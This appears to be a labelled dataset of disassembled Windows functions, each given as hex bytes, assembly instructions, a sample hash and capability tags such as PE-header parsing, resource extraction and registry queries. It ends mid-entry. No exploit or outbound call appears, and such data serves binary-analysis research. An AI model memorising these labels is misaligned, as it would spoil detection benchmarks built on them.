bcee87dfbffff85c00f84e1fdffff0fbe85f9feffff50ff15d0a140003c54be3e8b40008b85f0feffff7405be3a8a400003c38d8df8feffff03c1ba04010000508bcee8a5b5ffff6840114000ba040100008bcee89e0400008bcee8edd0ffff85c00f858afdffff33c0e90501000080bdfafeffff00750d33c040a3248a4000e96dfdffff80bdfafeffff3a0f855efdffff33db8db5f8feffff80bdfbfeffff220f94c383c30303f38bce8d51018a014184c075f92bca0f8433fdffff6a5b5a8bcee82505000085c074126a5d5a8bcee81705000085c00f8413fdffff6a5d5a8bcee80505000085c074126a5b5a8bcee8f704000085c00f84f3fcffff8d95f0feffff899df0feffff8bcee874faffff85c00f84d8fcffff8b85f0feffff8d8df8feffff03c3ba0401000003c1b9428c400050e8b5b4ffffe9b5fcffff33dbba21050000536a4053684011400033c9e8d2e2ffffa18885400085c0740750ff1588a0400053ff152ca1400033ff8bc7eb038d43018b4dfc5f5e33cd5be8cc0a00008be55dc3e80d0c0000cc
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x110",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"xor ebx, ebx",
"push esi",
"push edi",
"lea edi, [ebx + 1]",
"test ecx, ecx",
"je 0x406204",
"cmp byte [ecx], bl",
"je 0x406204",
"test edi, edi",
"je 0x405dd2",
"mov al, byte [ecx]",
"cmp al, 0x20",
"je 0x405ced",
"cmp al, 9",
"je 0x405ced",
"cmp al, 0xd",
"je 0x405ced",
"cmp al, 0xa",
"je 0x405ced",
"cmp al, 0xb",
"je 0x405ced",
"cmp al, 0xc",
"jne 0x405cf8",
"push ecx",
"call dword [sym.imp.USER32.dll_CharNextA]",
"mov ecx, eax",
"jmp 0x405cd3",
"mov dword [ebp - 0x10c], ecx",
"test al, al",
"je 0x405dd2",
"mov eax, dword [ebp - 0x10c]",
"xor edx, edx",
"xor ecx, ecx",
"xor esi, esi",
"xor ebx, ebx",
"inc edx",
"test esi, esi",
"jne 0x405d47",
"mov al, byte [eax]",
"cmp al, 0x20",
"je 0x405db4",
"cmp al, 9",
"je 0x405db4",
"cmp al, 0xd",
"je 0x405db4",
"cmp al, 0xa",
"je 0x405db4",
"cmp al, 0xb",
"je 0x405db4",
"cmp al, 0xc",
"je 0x405db4",
"mov eax, dword [ebp - 0x10c]",
"jmp 0x405d4b",
"test ebx, ebx",
"jne 0x405db4",
"mov al, byte [eax]",
"cmp al, 0x22",
"jne 0x405d87",
"mov eax, dword [ebp - 0x10c]",
"cmp byte [eax + 1], 0x22",
"je 0x405d6c",
"xor eax, eax",
"inc eax",
"test esi, esi",
"jne 0x405d68",
"mov esi, eax",
"jmp 0x405d9f",
"mov ebx, eax",
"jmp 0x405d9f",
"cmp edx, 0x104",
"jae 0x4060fb",
"mov byte [ebp + ecx - 0x108], 0x22",
"inc ecx",
"push 2",
"inc edx",
"pop eax",
"jmp 0x405d9f",
"cmp edx, 0x104",
"jae 0x4060fb",
"mov byte [ebp + ecx - 0x108], al",
"inc ecx",
"xor eax, eax",
"inc edx",
"inc eax",
"add dword [ebp - 0x10c], eax",
"mov eax, dword [ebp - 0x10c]",
"cmp byte [eax], 0",
"jne 0x405d15",
"cmp ecx, 0x104",
"jae 0x406218",
"mov byte [ebp + ecx - 0x108], 0",
"test esi, esi",
"je 0x405e20",
"test ebx, ebx",
"jne 0x405e24",
"xor edi, edi",
"cmp dword [0x408a2c], 0",
"je 0x406200",
"cmp byte [0x408b3e], 0",
"jne 0x406200",
"push 0x104",
"push 0x408b3e",
"push dword [0x409a3c]",
"call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]",
"test eax, eax",
"je 0x4061fe",
"push 0x5c",
"pop edx",
"mov ecx, 0x408b3e",
"call fcn.004066c8",
"mov byte [eax + 1], 0",
"jmp 0x406200",
"test ebx, ebx",
"jne 0x405dd0",
"mov al, byte [ebp - 0x108]",
"cmp al, 0x2f",
"je 0x405e36",
"cmp al, 0x2d",
"jne 0x4060fb",
"movsx eax, byte [ebp - 0x107]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"movsx eax, al",
"sub eax, 0x3f",
"je 0x4061d0",
"sub eax, 4",
"je 0x406102",
"sub eax, 1",
"je 0x40604f",
"sub eax, 0xa",
"je 0x405fcc",
"sub eax, 3",
"je 0x405f84",
"sub eax, 1",
"je 0x405e99",
"dec eax",
"sub eax, 1",
"je 0x40604f",
"xor edi, edi",
"mov ecx, dword [ebp - 0x10c]",
"cmp byte [ecx], 0",
"jne 0x405ccb",
"jmp 0x405dd2",
"cmp byte [ebp - 0x106], 0",
"jne 0x405eb6",
"xor eax, eax",
"mov dword [0x409a2c], 3",
"inc eax",
"mov dword [0x408a28], eax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405f59",
"mov ecx, dword [ebp - 0x105]",
"xor ebx, ebx",
"inc ebx",
"mov dword [0x409a2c], ebx",
"test cl, cl",
"je 0x405e85",
"lea esi, [ebp - 0x105]",
"movsx eax, cl",
"inc esi",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"movsx eax, al",
"sub eax, 0x41",
"je 0x405f3d",
"sub eax, 3",
"je 0x405f34",
"sub eax, 5",
"je 0x405f2b",
"sub eax, 5",
"je 0x405f22",
"dec eax",
"sub eax, 1",
"je 0x405f16",
"sub eax, 3",
"je 0x405f0d",
"xor edi, edi",
"jmp 0x405f4c",
"or dword [0x409a2c], 4",
"jmp 0x405f46",
"or dword [0x408d48], 0x80",
"jmp 0x405f4c",
"and dword [0x409a2c], 0xfffffffe",
"jmp 0x405f46",
"and dword [0x409a2c], 0xfffffffd",
"jmp 0x405f46",
"or dword [0x408d48], 0x40",
"jmp 0x405f4c",
"push 2",
"pop eax",
"or dword [0x409a2c], eax",
"mov dword [0x408a28], ebx",
"mov al, byte [esi]",
"mov cl, al",
"test al, al",
"jne 0x405edc",
"jmp 0x405e85",
"push 0xffffffffffffffff",
"lea eax, [ebp - 0x107]",
"push eax",
"push 0xffffffffffffffff",
"xor eax, eax",
"push 0x4013c8",
"inc eax",
"push eax",
"push 0x7f",
"call dword [sym.imp.KERNEL32.dll_CompareStringA]",
"dec eax",
"sub eax, 1",
"je 0x405e85",
"jmp 0x405e83",
"cmp byte [ebp - 0x106], 0",
"jne 0x405f92",
"push 2",
"pop eax",
"jmp 0x405fc1",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"movsx eax, byte [ebp - 0x105]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"cmp al, 0x31",
"je 0x405f8d",
"cmp al, 0x41",
"je 0x405fbe",
"cmp al, 0x55",
"je 0x405f8d",
"jmp 0x405e83",
"xor eax, eax",
"inc eax",
"mov word [0x408a38], ax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0",
"jne 0x405fe2",
"xor eax, eax",
"inc eax",
"mov dword [0x408a2c], eax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"mov ecx, dword [ebp - 0x105]",
"test cl, cl",
"je 0x405e85",
"lea esi, [ebp - 0x105]",
"movsx eax, cl",
"inc esi",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"movsx eax, al",
"sub eax, 0x45",
"je 0x40603a",
"push 2",
"pop ecx",
"sub eax, ecx",
"je 0x406030",
"sub eax, 0xf",
"je 0x406026",
"xor edi, edi",
"jmp 0x406042",
"xor eax, eax",
"inc eax",
"mov dword [0x408a34], eax",
"jmp 0x406042",
"xor eax, eax",
"inc eax",
"mov dword [0x408a30], eax",
"jmp 0x406042",
"xor eax, eax",
"inc eax",
"mov dword [0x408a2c], eax",
"mov al, byte [esi]",
"mov cl, al",
"test al, al",
"jne 0x406003",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"xor ebx, ebx",
"lea esi, [ebp - 0x108]",
"cmp byte [ebp - 0x105], 0x22",
"sete bl",
"add ebx, 3",
"add esi, ebx",
"mov ecx, esi",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x406078",
"sub ecx, edx",
"je 0x405e83",
"lea edx, [ebp - 0x110]",
"mov dword [ebp - 0x110], ebx",
"mov ecx, esi",
"call fcn.00405c17",
"test eax, eax",
"je 0x405e83",
"movsx eax, byte [ebp - 0x107]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"cmp al, 0x54",
"mov esi, 0x408b3e",
"mov eax, dword [ebp - 0x110]",
"je 0x4060c4",
"mov esi, 0x408a3a",
"add eax, ebx",
"lea ecx, [ebp - 0x108]",
"add eax, ecx",
"mov edx, 0x104",
"push eax",
"mov ecx, esi",
"call fcn.00401680",
"push 0x401140",
"mov edx, 0x104",
"mov ecx, esi",
"call fcn.0040658a",
"mov ecx, esi",
"call fcn.004031e0",
"test eax, eax",
"jne 0x405e85",
"xor eax, eax",
"jmp 0x406207",
"cmp byte [ebp - 0x106], 0",
"jne 0x406118",
"xor eax, eax",
"inc eax",
"mov dword [0x408a24], eax",
"jmp 0x405e85",
"cmp byte [ebp - 0x106], 0x3a",
"jne 0x405e83",
"xor ebx, ebx",
"lea esi, [ebp - 0x108]",
"cmp byte [ebp - 0x105], 0x22",
"sete bl",
"add ebx, 3",
"add esi, ebx",
"mov ecx, esi",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x406141",
"sub ecx, edx",
"je 0x405e83",
"push 0x5b",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x406170",
"push 0x5d",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x405e83",
"push 0x5d",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x406190",
"push 0x5b",
"pop edx",
"mov ecx, esi",
"call fcn.0040667f",
"test eax, eax",
"je 0x405e83",
"lea edx, [ebp - 0x110]",
"mov dword [ebp - 0x110], ebx",
"mov ecx, esi",
"call fcn.00405c17",
"test eax, eax",
"je 0x405e83",
"mov eax, dword [ebp - 0x110]",
"lea ecx, [ebp - 0x108]",
"add eax, ebx",
"mov edx, 0x104",
"add eax, ecx",
"mov ecx, 0x408c42",
"push eax",
"call fcn.00401680",
"jmp 0x405e85",
"xor ebx, ebx",
"mov edx, 0x521",
"push ebx",
"push 0x40",
"push ebx",
"push 0x401140",
"xor ecx, ecx",
"call fcn.004044b9",
"mov eax, dword [0x408588]",
"test eax, eax",
"je 0x4061f7",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_ExitProcess]",
"xor edi, edi",
"mov eax, edi",
"jmp 0x406207",
"lea eax, [ebx + 1]",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret",
"call fcn.00406e2a",
"int3"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x40621e
|
[
"Get common file path"
] |
8bff558bec81ec08010000a10480400033c58945fc68040100008d85f8feffff50ff1594a0400085c0751f506a105050baf004000033c9e85fe2ffffe826000000a32491400033c0eb0f6a025a528d8df8feffffe806f7ffff8b4dfc33cde85f0a00008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push 0x104",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"test eax, eax",
"jne 0x406268",
"push eax",
"push 0x10",
"push eax",
"push eax",
"mov edx, 0x4f0",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"jmp 0x406277",
"push 2",
"pop edx",
"push edx",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"mov ecx, dword [ebp - 4]",
"xor ecx, ebp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x406298
|
[
"Extract resource via kernel32 functions"
] |
8bff558bec83ec20a10480400033c58945fc53565733f6894de45668d41340008d45e88975e033db6a145043e855b4ffffeb705056ff1528a1400050ff1518a140008bf885ff747f8d57088bca8d71018a014184c075f92bce8bf48d41018b4de403c25052ff7704ff37ff1588a24000ff55e43bf47407b904000000cd295785c0743aff15f4a040008b75e08d45e8465668d41340006a14508975e0e8e5b3ffff33f683c4108d45e86a0a5056ff15e0a0400085c00f8578ffffffeb1633dbff15f4a04000eb0cc70524914000140707808bde8b4dfc8bc35f5e33cd5be8660900008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x20",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"xor esi, esi",
"mov dword [ebp - 0x1c], ecx",
"push esi",
"push 0x4013d4",
"lea eax, [ebp - 0x18]",
"mov dword [ebp - 0x20], esi",
"xor ebx, ebx",
"push 0x14",
"push eax",
"inc ebx",
"call fcn.0040171e",
"jmp 0x40633b",
"push eax",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LockResource]",
"mov edi, eax",
"test edi, edi",
"je 0x40635f",
"lea edx, [edi + 8]",
"mov ecx, edx",
"lea esi, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x4062e8",
"sub ecx, esi",
"mov esi, esp",
"lea eax, [ecx + 1]",
"mov ecx, dword [ebp - 0x1c]",
"add eax, edx",
"push eax",
"push edx",
"push dword [edi + 4]",
"push dword [edi]",
"call dword [0x40a288]",
"call dword [ebp - 0x1c]",
"cmp esi, esp",
"je 0x406316",
"mov ecx, 4",
"int 0x29",
"push edi",
"test eax, eax",
"je 0x406355",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"mov esi, dword [ebp - 0x20]",
"lea eax, [ebp - 0x18]",
"inc esi",
"push esi",
"push 0x4013d4",
"push 0x14",
"push eax",
"mov dword [ebp - 0x20], esi",
"call fcn.0040171e",
"xor esi, esi",
"add esp, 0x10",
"lea eax, [ebp - 0x18]",
"push 0xa",
"push eax",
"push esi",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"test eax, eax",
"jne 0x4062cb",
"jmp 0x40636b",
"xor ebx, ebx",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"jmp 0x40636b",
"mov dword [0x409124], 0x80070714",
"mov ebx, esi",
"mov ecx, dword [ebp - 4]",
"mov eax, ebx",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x406495
|
[
"Check if file exists",
"Get file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc575168e491400051ba040100008d8df8feffffe8bfb2ffffbfd81140008d8df8feffff57ba04010000e8b20000008d85f8feffff50ff1570a0400083f8ff7417a81075136a086a008d85f8feffff50ff15a0a14000eb0757ff1578a040008b4dfc33cd5fe8cd0700008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push edi",
"push ecx",
"push 0x4091e4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"mov edi, 0x4011d8",
"lea ecx, [ebp - 0x108]",
"push edi",
"mov edx, 0x104",
"call fcn.0040658a",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x406501",
"test al, 0x10",
"jne 0x406501",
"push 8",
"push 0",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]",
"jmp 0x406508",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryA]",
"mov ecx, dword [ebp - 4]",
"xor ecx, ebp",
"pop edi",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x4066ae
|
[
"Check if file exists",
"Get file attributes"
] |
8bff51ff1570a0400083f8ff750333c0c3c1e804f7d083e001c3
|
[
"mov edi, edi",
"push ecx",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"jne 0x4066bf",
"xor eax, eax",
"ret",
"shr eax, 4",
"not eax",
"and eax, 1",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x40681f
|
[
"Check os version",
"Query or enumerate registry value"
] |
8bff558bec81ecb4000000a10480400033c58945fc56578b3dd881400033f6c78550ffffff0c00000089b554ffffff83fffe0f85e90000008d855cffffff8935d881400050c7855cffffff94000000ff1514a1400085c00f84be00000033ff4739bd6cffffff0f85af00000083bd60ffffff040f85a200000083bd64ffffff0a0f83950000006a4aff151ca2400085c00f84850000008d8558ffffff5068190002005668e01340006801000080ff1508a0400085c075648d8550ffffff508d45f0508d854cffffff50566840114000ffb558ffffffff1528a04000ffb558ffffff8bf0ff1530a0400085f6752e8d9554ffffff8d4df0e8dffdffff85c0741c8b8554ffffff25ff0300003bc7740583f80d7508893dd8814000eb068b3dd88140008b4dfc8bc75f33cd5ee8920300008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0xb4",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push esi",
"push edi",
"mov edi, dword [0x4081d8]",
"xor esi, esi",
"mov dword [ebp - 0xb0], 0xc",
"mov dword [ebp - 0xac], esi",
"cmp edi, 0xfffffffe",
"jne 0x406940",
"lea eax, [ebp - 0xa4]",
"mov dword [0x4081d8], esi",
"push eax",
"mov dword [ebp - 0xa4], 0x94",
"call dword [sym.imp.KERNEL32.dll_GetVersionExA]",
"test eax, eax",
"je 0x40693a",
"xor edi, edi",
"inc edi",
"cmp dword [ebp - 0x94], edi",
"jne 0x40693a",
"cmp dword [ebp - 0xa0], 4",
"jne 0x40693a",
"cmp dword [ebp - 0x9c], 0xa",
"jae 0x40693a",
"push 0x4a",
"call dword [sym.imp.USER32.dll_GetSystemMetrics]",
"test eax, eax",
"je 0x40693a",
"lea eax, [ebp - 0xa8]",
"push eax",
"push 0x20019",
"push esi",
"push 0x4013e0",
"push 0x80000001",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x40693a",
"lea eax, [ebp - 0xb0]",
"push eax",
"lea eax, [ebp - 0x10]",
"push eax",
"lea eax, [ebp - 0xb4]",
"push eax",
"push esi",
"push 0x401140",
"push dword [ebp - 0xa8]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"push dword [ebp - 0xa8]",
"mov esi, eax",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"test esi, esi",
"jne 0x40693a",
"lea edx, [ebp - 0xac]",
"lea ecx, [ebp - 0x10]",
"call fcn.004066f9",
"test eax, eax",
"je 0x40693a",
"mov eax, dword [ebp - 0xac]",
"and eax, 0x3ff",
"cmp eax, edi",
"je 0x406932",
"cmp eax, 0xd",
"jne 0x40693a",
"mov dword [0x4081d8], edi",
"jmp 0x406940",
"mov edi, dword [0x4081d8]",
"mov ecx, dword [ebp - 4]",
"mov eax, edi",
"pop edi",
"xor ecx, ebp",
"pop esi",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x406952
|
[
"Get disk size"
] |
8bff558bec83ec105633f68039008975f88975fc8975f08975f474338d45f4508d45f0508d45fc508d45f85051ff155ca1400085c074188b45fc0faf45f86800040000ff75f450ff1558a140008bf08bc65e8be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x10",
"push esi",
"xor esi, esi",
"cmp byte [ecx], 0",
"mov dword [ebp - 8], esi",
"mov dword [ebp - 4], esi",
"mov dword [ebp - 0x10], esi",
"mov dword [ebp - 0xc], esi",
"je 0x4069a1",
"lea eax, [ebp - 0xc]",
"push eax",
"lea eax, [ebp - 0x10]",
"push eax",
"lea eax, [ebp - 4]",
"push eax",
"lea eax, [ebp - 8]",
"push eax",
"push ecx",
"call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]",
"test eax, eax",
"je 0x4069a1",
"mov eax, dword [ebp - 4]",
"imul eax, dword [ebp - 8]",
"push 0x400",
"push dword [ebp - 0xc]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_MulDiv]",
"mov esi, eax",
"mov eax, esi",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x406a60
|
[
"Terminate process"
] |
e8f0060000e9000000006a5868b8724000e89207000033db895de08d459850ff1584a14000895dfc64a1180000008b70048bfbbaac8840008bce33c0f00fb10a85c074183bc6750733f6468bfeeb1068e8030000ff1588a14000ebd733f6463935b0884000750a6a1fe82605000059eb3a391db0884000752c8935b088400068c410400068b8104000e851010000595985c07417c745fcfeffffffb8ff000000e9340100008935e48140003935b0884000751b68b410400068ac104000e8e00600005959c705b08840000200000085ff750933c0b9ac8840008701833db488400000742368b4884000e8120500005985c07414536a02538b35b48840008bceff1588a24000ffd6a13ca240008b308975e48b7de08a0e80f920774a84c9741585ff754284c9740d80f9207708468975e48a0eebeff645c40174060fb745c8eb036a0a585056536800004000e84bc0ffffa3e0814000833df881400000756050ff1560a2400080f922750c33c085ff0f94c08bf8897de00fb6c150ff1550a240005985c07404468975e4468975e4eb85833de481400000750bff1558a24000a1e0814000c745fcfeffffffe80f060000c3
|
[
"call fcn.00407155",
"jmp 0x406a6a",
"push 0x58",
"push 0x4072b8",
"call fcn.00407208",
"xor ebx, ebx",
"mov dword [ebp - 0x20], ebx",
"lea eax, [ebp - 0x68]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]",
"mov dword [ebp - 4], ebx",
"mov eax, dword fs:[0x18]",
"mov esi, dword [eax + 4]",
"mov edi, ebx",
"mov edx, 0x4088ac",
"mov ecx, esi",
"xor eax, eax",
"lock cmpxchg dword [edx], ecx",
"test eax, eax",
"je 0x406abc",
"cmp eax, esi",
"jne 0x406aaf",
"xor esi, esi",
"inc esi",
"mov edi, esi",
"jmp 0x406abf",
"push 0x3e8",
"call dword [sym.imp.KERNEL32.dll_Sleep]",
"jmp 0x406a93",
"xor esi, esi",
"inc esi",
"cmp dword [0x4088b0], esi",
"jne 0x406ad1",
"push 0x1f",
"call sub.msvcrt.dll__amsg_exit",
"pop ecx",
"jmp 0x406b0b",
"cmp dword [0x4088b0], ebx",
"jne 0x406b05",
"mov dword [0x4088b0], esi",
"push 0x4010c4",
"push 0x4010b8",
"call fcn.00406c3f",
"pop ecx",
"pop ecx",
"test eax, eax",
"je 0x406b0b",
"mov dword [ebp - 4], 0xfffffffe",
"mov eax, 0xff",
"jmp 0x406c39",
"mov dword [0x4081e4], esi",
"cmp dword [0x4088b0], esi",
"jne 0x406b2e",
"push 0x4010b4",
"push 0x4010ac",
"call sub.msvcrt.dll__initterm",
"pop ecx",
"pop ecx",
"mov dword [0x4088b0], 2",
"test edi, edi",
"jne 0x406b3b",
"xor eax, eax",
"mov ecx, 0x4088ac",
"xchg dword [ecx], eax",
"cmp dword [0x4088b4], 0",
"je 0x406b67",
"push 0x4088b4",
"call fcn.00407060",
"pop ecx",
"test eax, eax",
"je 0x406b67",
"push ebx",
"push 2",
"push ebx",
"mov esi, dword [0x4088b4]",
"mov ecx, esi",
"call dword [0x40a288]",
"call esi",
"mov eax, dword [sym.imp.msvcrt.dll__acmdln]",
"mov esi, dword [eax]",
"mov dword [ebp - 0x1c], esi",
"mov edi, dword [ebp - 0x20]",
"mov cl, byte [esi]",
"cmp cl, 0x20",
"ja 0x406bc5",
"test cl, cl",
"je 0x406b94",
"test edi, edi",
"jne 0x406bc5",
"test cl, cl",
"je 0x406b94",
"cmp cl, 0x20",
"ja 0x406b94",
"inc esi",
"mov dword [ebp - 0x1c], esi",
"mov cl, byte [esi]",
"jmp 0x406b83",
"test byte [ebp - 0x3c], 1",
"je 0x406ba0",
"movzx eax, word [ebp - 0x38]",
"jmp 0x406ba3",
"push 0xa",
"pop eax",
"push eax",
"push esi",
"push ebx",
"push 0x400000",
"call main",
"mov dword [0x4081e0], eax",
"cmp dword [0x4081f8], 0",
"jne 0x406c1e",
"push eax",
"call dword [sym.imp.msvcrt.dll_exit]",
"cmp cl, 0x22",
"jne 0x406bd6",
"xor eax, eax",
"test edi, edi",
"sete al",
"mov edi, eax",
"mov dword [ebp - 0x20], edi",
"movzx eax, cl",
"push eax",
"call dword [sym.imp.msvcrt.dll__ismbblead]",
"pop ecx",
"test eax, eax",
"je 0x406be9",
"inc esi",
"mov dword [ebp - 0x1c], esi",
"inc esi",
"mov dword [ebp - 0x1c], esi",
"jmp 0x406b74",
"cmp dword [0x4081e4], 0",
"jne 0x406c32",
"call dword [sym.imp.msvcrt.dll__cexit]",
"mov eax, dword [0x4081e0]",
"mov dword [ebp - 4], 0xfffffffe",
"call fcn.0040724d",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x406f54
|
[
"Parse pe header"
] |
6a0c68d8724000e8a802000033c98b450885c0744b83f8ff7446894dfcba4d5a000066391075328b503c85d2782b81fa00000010732303c28945e48b0881e950450000f7d91bc9f7d123c8eb09894de4c745fcfeffffff8bc1e892020000c20400
|
[
"push 0xc",
"push 0x4072d8",
"call fcn.00407208",
"xor ecx, ecx",
"mov eax, dword [ebp + 8]",
"test eax, eax",
"je 0x406fb4",
"cmp eax, 0xffffffff",
"je 0x406fb4",
"mov dword [ebp - 4], ecx",
"mov edx, 0x5a4d",
"cmp word [eax], dx",
"jne 0x406fad",
"mov edx, dword [eax + 0x3c]",
"test edx, edx",
"js 0x406fad",
"cmp edx, 0x10000000",
"jae 0x406fad",
"add eax, edx",
"mov dword [ebp - 0x1c], eax",
"mov ecx, dword [eax]",
"sub ecx, 0x4550",
"neg ecx",
"sbb ecx, ecx",
"not ecx",
"and ecx, eax",
"jmp 0x406faa",
"mov dword [ebp - 0x1c], ecx",
"mov dword [ebp - 4], 0xfffffffe",
"mov eax, ecx",
"call fcn.0040724d",
"ret 4"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x407010
|
[
"Enumerate pe sections"
] |
8bff558bec8b450833d25356578b483c03c80fb741140fb7590683c01803c185db741b8b7d0c8b700c3bfe72098b480803ce3bf9720a4283c0283bd372e833c05f5e5b5dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"mov eax, dword [ebp + 8]",
"xor edx, edx",
"push ebx",
"push esi",
"push edi",
"mov ecx, dword [eax + 0x3c]",
"add ecx, eax",
"movzx eax, word [ecx + 0x14]",
"movzx ebx, word [ecx + 6]",
"add eax, 0x18",
"add eax, ecx",
"test ebx, ebx",
"je 0x40704e",
"mov edi, dword [ebp + 0xc]",
"mov esi, dword [eax + 0xc]",
"cmp edi, esi",
"jb 0x407046",
"mov ecx, dword [eax + 8]",
"add ecx, esi",
"cmp edi, ecx",
"jb 0x407050",
"inc edx",
"add eax, 0x28",
"cmp edx, ebx",
"jb 0x407036",
"xor eax, eax",
"pop edi",
"pop esi",
"pop ebx",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x407120
|
[
"Parse pe header"
] |
8bff558bec8b4d08b84d5a0000663901751f8b413c03c18138504500007512b90b010000663948187507b8010000005dc333c05dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"mov ecx, dword [ebp + 8]",
"mov eax, 0x5a4d",
"cmp word [ecx], ax",
"jne 0x407151",
"mov eax, dword [ecx + 0x3c]",
"add eax, ecx",
"cmp dword [eax], 0x4550",
"jne 0x407151",
"mov ecx, 0x10b",
"cmp word [eax + 0x18], cx",
"jne 0x407151",
"mov eax, 1",
"pop ebp",
"ret",
"xor eax, eax",
"pop ebp",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x4030e4
|
[
"Generate random numbers using the delphi lcg"
] |
5331db6993082041000584080842899308204100f7e289d05bc3
|
[
"push ebx",
"xor ebx, ebx",
"imul edx, dword [ebx + 0x412008], 0x8088405",
"inc edx",
"mov dword [ebx + 0x412008], edx",
"mul edx",
"mov eax, edx",
"pop ebx",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x403714
|
[
"Query or enumerate registry value"
] |
558bec83c4f40fb7051c2041008945f88d45fc506a016a0068ac3740006802000080e825daffff85c0754d33c055688537400064ff30648920c745f4040000008d45f4508d45f8506a006a0068e43740008b45fc50e8fad9ffff33c05a5959648910688c3740008b45fc50e8d4d9ffffc30fb7051c2041006625c0ff0fb755f86683e23f660bc266a31c2041008be55dc3
|
[
"push ebp",
